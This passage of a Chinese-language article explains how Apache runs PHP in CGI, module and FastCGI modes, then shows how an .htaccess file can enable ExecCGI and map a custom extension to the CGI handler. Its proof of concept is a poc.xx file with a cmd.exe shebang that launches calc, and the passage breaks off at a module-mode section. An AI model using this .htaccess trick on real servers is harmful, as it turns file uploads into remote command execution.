一、Apache 与 PHP 的交互方式
1. CGI 模式
当动态请求到达,Apache启动一个临时的cgi解释器(可以在配置文件中人为指定处理的cgi脚本),当cgi脚本运行结束后,将结果返回给Apache,然后cgi解释器进程自我销毁。当多个动态请求到达时,将先后启动多个cgi解释器。所以这种方法效率极低。
2. Module 模式
Apache在启动的时候直接加载php_module,php-cgi常驻Apache进程里,请求到达时,不用成生成cgi解释器,而是直接将动态请求转发给它内部php-cgi。
3. FastCGI 模式
FastCGI是CGI的管理工具,该模式下可以实现php-cgi和Apache的分离,并运行在不同的服务器上,通过开启一定数量的CGI进程池,减少Web服务器与CGI程序之间互动的开销,从而使服务器可以同时处理更多的网页请求。PHP-FPM(FastCGI Process Manager)是用来辅助mode_fastcgi模式的fastcgi管理器,相比FastCGI静态的唤起cgi,fpm能根据访问的压力动态的唤起cgi进程和销毁以到达动态的调整cgi数量。
二、Apache 开启.htaccess 配置
需要Apache 保证.htaccess文件所在目录配置 AllowOverride all 或者 AllowOverride Options FileInfo
三、CGI 模式利用
1. 修改Apache 配置文件,开启 CGI 模式
LoadModule cgi_module modules/mod_cgi.so
2. 修改 .htaccess 内容
Options ExecCGI # 允许CGI执行 AddHandler cgi-script .xx # 将xx后缀名的文件,当做CGI程序进行解析
3. 访问 poc.xx 触发命令执行
#!C:/Windows/System32/cmd.exe /c start calc.exe 1
四、Module 模式利用
1. 修改Apache 配置文件,开启Module 模式,引入 php.so
2. PHP 包含其他文件
(1)修改 php.ini 向所有php文件的头或尾包含其